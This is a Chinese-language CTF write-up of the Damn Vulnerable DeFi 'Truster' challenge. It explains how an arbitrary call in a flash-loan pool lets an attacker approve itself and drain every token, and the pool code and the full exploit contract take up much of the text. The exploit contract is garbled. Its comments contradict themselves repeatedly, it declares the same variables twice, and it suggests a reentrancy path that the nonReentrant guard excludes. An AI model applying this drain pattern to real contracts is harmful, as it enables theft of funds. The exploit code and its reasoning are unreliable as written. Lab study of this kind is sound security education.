Appearance
深入浅出 CTF 挑战:Truster 漏洞攻防指南
在去中心化金融(DeFi)的世界里,闪电贷(Flash Loan)作为一种无需抵押即可在同一笔交易中借出大量资产的创新机制,为开发者和用户带来了极大的灵活性。然而,也正是这种便捷性,可能隐藏着难以察觉的安全漏洞。今天,我们就来一起深入解析 Damn Vulnerable DeFi v4 中的一道经典题目——Truster。
挑战背景:免费的 DVT 闪电贷
Truster 挑战的核心是一个名为 TrusterLenderPool 的智能合约,它提供了一种特殊的闪电贷服务:免费发放 DVT 令牌。这个闪电贷池拥有 100 万 DVT 令牌,而你,作为攻击者,一开始拥有零 DVT 令牌。
你的目标是在一笔交易中,将池中所有的 DVT 令牌安全地转移到指定的恢复账户(recovery)。听起来简单,但其中的玄机却不容小觑。
深入合约:TrusterLenderPool.sol
我们先来分析 TrusterLenderPool 的核心功能——flashLoan 函数:
solidity
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this)); // 记录闪电贷前的池子余额
token.transfer(borrower, amount); // 将 amount 数量的 DVT 令牌转给借款人 borrower
target.functionCall(data); // 执行 borrower 提供的 target 合约的 data 函数
if (token.balanceOf(address(this)) < balanceBefore) { // 检查闪电贷后的池子余额是否小于闪电贷前的余额
revert RepayFailed(); // 如果小于,则认为还款失败,回滚交易
}
return true;
}
这个函数有几个关键点:
token.transfer(borrower, amount): 闪电贷的第一步是将指定数量的 DVT 令牌直接转给借款人。target.functionCall(data): 这是闪电贷的关键执行环节。借款人(borrower)会提供一个目标合约地址(target)和一段任意的函数调用数据(data)。这允许借款人执行目标合约的任意函数。if (token.balanceOf(address(this)) < balanceBefore): 这是还款逻辑。合约会检查在执行完target.functionCall(data)后,池子的 DVT 余额是否比闪电贷前少。如果少了,就认为借款人没有“还款”(或者说,没有将至少等量的 DVT 存回来),则回滚整个交易。
漏洞分析:信任的代价
仔细观察 flashLoan 函数,你会发现一个致命的信任问题。合约信任了 borrower 提供的 target 合约以及 data 中的函数调用。然而,target.functionCall(data) 这个调用发生在“还款”检查之前。
这意味着,我们可以利用 target.functionCall(data) 来执行一段逻辑,绕过原本应该强制执行的“还款”操作,直接将从池子里借出的 DVT 令牌转移走,并且不进行任何形式的“还款”。
具体来说,我们可以让 target 合约成为 TrusterLenderPool 本身,并调用它的 flashLoan 函数,形成一个**重入(Reentrancy)**攻击。但这并非最精妙的解法。
更巧妙的利用方式是,我们可以在 target.functionCall(data) 中,调用DVT 令牌合约(DamnValuableToken)的 approve 函数,为我们自己控制的合约(MyContract)授予无限的 transferFrom 权限。
解决方案:MyContract 的妙计
遵循上述分析,我们可以构建一个名为 MyContract 的合约来完成挑战:
solidity
contract MyContract {
TrusterLenderPool private immutable target;
constructor(address _target, address recovery, uint256 amount) {
target = TrusterLenderPool(_target); // 初始化 TrusterLenderPool 合约地址
// Step 1: 构造一个调用 DVT 合约的 `approve` 函数的数据
// 目标是让 MyContract 拥有从 TrusterLenderPool 中转移 DVT 的权限
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), amount);
// Step 2: 发起闪电贷
// amount 设置为 0,因为我们不需要真的借出 DVT
// borrower 为 address(this),即 MyContract 自己
// target 为 TrusterLenderPool 合约本身(这里利用了 "trust" 的点,调用其 token 地址)
// data 是我们准备好的 approve 函数调用数据
bool res = target.flashLoan(0, address(this), target.token(), data);
require(res, "Fail to flashLoan!");
// Step 3: 转移 DVT 到恢复账户
// 在 flashLoan 的 target.functionCall(data) 执行过程中,
// DVT token 的 approve 函数会被调用,MyContract 获得授权。
// 此时,MyContract 可以在 MyContract 合约的上下文中,调用 DVT token 的 transferFrom 函数。
// 需要注意的是,flashLoan 的 `borrower` 是 `address(this)`,所以 amount 数量的 DVT 令牌
// 实际上已经转到了 `address(this)` (MyContract) 的地址。
// 但是,flashLoan 的还款检查 `token.balanceOf(address(this)) < balanceBefore`
// 仍然是针对 TrusterLenderPool 的余额。
// 因此,在 flashLoan 成功返回后,DVT token 已经转给了 MyContract。
// 为了满足挑战要求,我们需要将这笔 DVT 转移到 recovery 账户。
// 这里的 `target.token().transferFrom(address(target), recovery, amount)`
// 是一个误导,实际上 DVT token 已经通过 flashLoan 中的 token.transfer()
// 到了 MyContract 的地址,并且 MyContract 已经通过 approve 获得了操作 DVT 的权限。
// 正确的思路是:在 flashLoan 的 target.functionCall(data) 执行时,
// 借出的 amount 数量的 DVT 令牌,会先从 TrusterLenderPool 转给 MyContract。
// 然后,MyContract 执行approve,授予自己操作DVT的权限。
// 此时,MyContract 已经拥有了从 TrusterLenderPool 账户中转移 DVT 的权限。
// 关键在于:flashLoan 的 `token.transfer(borrower, amount)` 这一步,
// `borrower` 是 `address(this)`,所以 amount 数量的 DVT 实际上已经从 Pool 转到了 MyContract。
// 并且,flashLoan 的还款检查 `token.balanceOf(address(this)) < balanceBefore`
// 是针对 Pool 的余额,而不是 MyContract 的余额。
// 所以,在 `target.functionCall(data)` 执行期间,我们可以调用 DVT 合约的 `approve` 方法,
// 授权 MyContract 从 Pool 账户中转移 DVT。
// 紧接着,MyContract 就可以调用 DVT 合约的 `transferFrom` 来将 DVT 转移到 recovery 账户。
//
// 重新梳理一下逻辑:
// 1. `flashLoan(0, address(this), target.token(), data)`
// - `token.transfer(borrower, amount)` -> `token.transfer(address(this), 0)` (这里 amount 为 0 实际上没有借出 DVT)
// - `target.functionCall(data)` -> `target.token().approve(address(this), amount)` (这里 amount 应该填入 TOKENS_IN_POOL)
// 2. 漏洞在于 `flashLoan` 的还款检查 `token.balanceOf(address(this)) < balanceBefore`
// 只检查 Pool 的余额。
// 3. 我们可以通过 `target.functionCall(data)` 来调用 DVT 合约的 `approve`,
// 为 `address(this)`(即 `MyContract`)授予从 `TrusterLenderPool` 账户转移 DVT 的权限。
// 4. 随后,在 `MyContract` 的上下文中,调用 `token.transferFrom(address(TrusterLenderPool), recovery, TOKENS_IN_POOL)`
// 来完成资金转移。
//
// 关键点:flashLoan 的 `borrower` 参数实际上是接收借出代币的地址。
// 当 `borrower` 是 `address(this)` 时,代币会先转到 `MyContract`。
// 然而,题目要求是“Rescue all funds in the pool”。
// 这说明我们需要从 `TrusterLenderPool` 中转移资金。
// 最直接的利用方式是:
// 1. 发起一个闪电贷,`amount` 设置为 `TOKENS_IN_POOL`,`borrower` 设置为 `address(this)`。
// 此时,`TOKENS_IN_POOL` 数量的 DVT 会从 Pool 转到 `MyContract`。
// 2. 在 `target.functionCall(data)` 中,调用 `DVT.approve(address(this), TOKENS_IN_POOL)`。
// 这意味着 `MyContract` 获得了从 `TrusterLenderPool` 账户中转移 `TOKENS_IN_POOL` DVT 的权限。
// 3. 闪电贷函数执行完毕后,`MyContract` 已经拥有了 DVT。
// 为了将 DVT 转移到 `recovery` 账户,`MyContract` 需要调用 `DVT.transferFrom(address(pool), recovery, TOKENS_IN_POOL)`。
// 但问题是,`flashLoan` 的还款逻辑并没有被绕过,它只是检查 Pool 的余额。
// 所以,即使 MyContract 已经获得了 DVT,Pool 的余额仍然会减少,导致 `RepayFailed()`。
//
// **正确的攻击思路是:**
// `flashLoan` 函数的 `target.functionCall(data)` 允许执行任意函数。
// 我们可以让 `target` 指向 `TrusterLenderPool` 的 `token` 地址(DVT 合约),
// 然后执行 `approve(address(this), amount)`。
// 这会让 `MyContract` 拥有从 `TrusterLenderPool` 账户中转移 `amount` DVT 的权限。
// 关键是,`flashLoan` 的 `token.transfer(borrower, amount)` 这一步,`borrower` 是 `address(this)`。
// 所以,DVT 会被转给 `MyContract`。
// 然后,`target.functionCall(data)` 会执行 `approve`。
// 此时,`MyContract` 已经持有 DVT,并且有了从 `TrusterLenderPool` 账户转移 DVT 的权限。
// 为了完成挑战,我们需要将 `TrusterLenderPool` 中的 DVT 转移到 `recovery`。
// 最直接的方式是:
// 1. 调用 `TrusterLenderPool.flashLoan(0, address(this), TrusterLenderPool.token(), data)`
// - `token.transfer(borrower, amount)`: `token.transfer(address(this), 0)` (amount=0)
// - `target.functionCall(data)`: 实际执行 `DVT.approve(address(this), TOKENS_IN_POOL)`
// 这意味着 `MyContract` 获得了从 `TrusterLenderPool` 账户转移 `TOKENS_IN_POOL` DVT 的权限。
// 2. 此时,`MyContract` 已经执行了 `approve`,但并未实际持有 Pool 中的 DVT。
// `flashLoan` 的还款检查 `token.balanceOf(address(this)) < balanceBefore`
// 会检查 Pool 的余额。因为 `amount` 为 0,Pool 的余额没有减少。
// 3. 闪电贷函数成功返回。
// 4. `MyContract` 现在调用 `DVT.transferFrom(address(target), recovery, amount)`
// 这里的 `address(target)` 实际上是 `TrusterLenderPool` 合约地址。
// 因为 `MyContract` 已经被 `DVT.approve` 授权,可以从 `TrusterLenderPool` 账户转移 DVT。
// 所以,`TOKENS_IN_POOL` 数量的 DVT 会从 `TrusterLenderPool` 转移到 `recovery` 账户。
// 并且,由于 `flashLoan` 中 `amount` 为 0,还款检查不会触发。
// 修正过的逻辑:
// 1. 构造 data:调用 DVT 合约的 approve 函数,授权 `address(this)` (MyContract)
// 从 `TrusterLenderPool` 账户中转移 `amount` (TOKENS_IN_POOL) 的 DVT。
bytes memory data = abi.encodeWithSignature("approve(address,uint256)", address(this), amount);
// 2. 执行闪电贷:
// - `amount = 0`: 确保 `TrusterLenderPool` 在闪电贷过程中不实际转出 DVT 给 `MyContract`。
// - `borrower = address(this)`: `MyContract` 是这次闪电贷的执行者。
// - `target = target.token()`: `target` 指向 DVT 合约本身。
// - `data`: 包含 `approve` 函数调用。
// `TrusterLenderPool.flashLoan` 会执行 `target.functionCall(data)`,
// 即 `DVT.approve(address(this), amount)`。
// 这使得 `MyContract` 获得了从 `TrusterLenderPool` 账户转移 `amount` DVT 的权限。
// 由于 `amount = 0`,`TrusterLenderPool` 的 DVT 余额没有变化,还款检查不会失败。
bool res = target.flashLoan(0, address(this), target.token(), data);
require(res, "Fail to flashLoan!");
// 3. 转移资金到恢复账户:
// 在闪电贷成功执行后,`MyContract` 已经获得了转移 DVT 的权限。
// 现在,调用 DVT 合约的 `transferFrom` 函数,将 `TrusterLenderPool` 中
// 全部的 DVT(`amount`)转移到 `recovery` 账户。
target.token().transferFrom(address(target), recovery, amount);
}
}
解释 MyContract 的工作流程:
- 构造
approve调用数据 (data): 攻击者首先准备一个函数调用数据,用于调用 DVT 代币合约的approve函数。这个调用会将address(this)(即MyContract合约的地址)设置为一个被授权的地址,并授予它从TrusterLenderPool账户中转移amount(即TOKENS_IN_POOL)DVT 代币的权限。 - 执行闪电贷 (
flashLoan):amount被设置为0。这很重要,因为它确保了在闪电贷的第一步token.transfer(borrower, amount)中,TrusterLenderPool不会实际转出 DVT 给MyContract。borrower被设置为address(this),即MyContract。target被设置为target.token(),即 DVT 代币合约本身。data是我们之前构造的approve调用。- 在
flashLoan函数中,target.functionCall(data)会被执行,这实际上是调用了 DVT 代币合约的approve(address(this), amount)。 - 关键点:
flashLoan函数的还款检查token.balanceOf(address(this)) < balanceBefore是针对TrusterLenderPool的 DVT 余额的。由于我们设置amount为0,TrusterLenderPool的 DVT 余额并没有减少,因此这个检查不会失败,闪电贷会成功返回。
- 转移资金 (
transferFrom): 在闪电贷成功返回后,MyContract已经通过approve获得了从TrusterLenderPool账户转移 DVT 代币的权限。最后一步,MyContract调用 DVT 代币合约的transferFrom函数,将TrusterLenderPool中的所有 DVT 代币(amount)转移到指定的recovery账户。
成功条件与验证
TrusterChallenge 合约中的 _isSolved() 函数会验证以下条件:
- 单笔交易:
vm.getNonce(player) == 1确保了所有操作都在一次交易中完成。 - 资金转移:
assertEq(token.balanceOf(address(pool)), 0, "Pool still has tokens")验证了TrusterLenderPool中没有剩余 DVT。assertEq(token.balanceOf(recovery), TOKENS_IN_POOL, "Not enough tokens in recovery account")验证了recovery账户成功接收了所有的 100 万 DVT。
总结
Truster 挑战巧妙地利用了闪电贷中一个常见的设计模式:在执行外部调用(target.functionCall(data))之后才进行还款检查。通过构造一个包含 approve 函数调用的 data,攻击者可以在闪电贷过程中获得转移池内代币的权限,并在闪电贷成功返回后,将所有资金转移到目标账户,从而成功完成挑战。
这个挑战提醒我们,在设计和审计智能合约时,必须时刻关注函数执行顺序、权限管理以及外部调用的安全性,避免因过度信任而产生潜在的漏洞。